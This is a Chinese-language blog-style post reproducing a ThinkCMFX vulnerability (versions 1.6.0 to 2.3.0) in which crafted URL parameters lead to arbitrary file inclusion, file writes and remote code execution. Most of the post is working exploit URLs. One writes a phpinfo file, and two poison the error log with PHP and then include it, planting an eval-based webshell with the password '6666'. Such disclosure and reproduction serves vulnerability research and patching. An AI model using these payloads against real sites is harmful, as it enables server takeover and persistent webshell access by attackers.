漏洞简介
ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,从而能够达到远程代码执行
影响范围
1.6.0 < ThinkCMFX < 2.3.0
漏洞复现
1.通过构造a参数的display方法,实现任意内容包含
访问页面
http://192.168.2.130/cmfx-X2.2.2/?a=display&templateFile=README.md
包含文件夹下test.php文件 test.php文件为 phpinfo
2.通过构造a参数的fetch方法,实现任意文件写入
http://192.168.2.130/cmfx-X2.2.2/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('phpinfo.php','<?php phpinfo(); ?>')</php>
ThinkCMF缓存Getshell
由于thinkcmf2.x使用了thinkphp3.x作为开发框架,默认情况下启用了报错日志并且开启了模板缓存,导致可以使用加载一个不存在的模板来将生成一句话的PHP代码写入data/runtime/Logs/Portal目录下的日志文件中,再次包含该日志文件即可在网站根目录下生成一句话木马m.php
两种方式getshell
第一种
http://target.domain/?a=display&templateFile=<?php file_put_contents('shell.php','<?php+eval($_POST["6666"]);?>');die();?>
请求
http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log
然后会在根目录下生成shell.php 密码是6666
第二种
http://target.domain/?a=display&templateFile=<?php eval($_POST["6666"]);?>
然后一句话管理工具连接
http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log
还不快抢沙发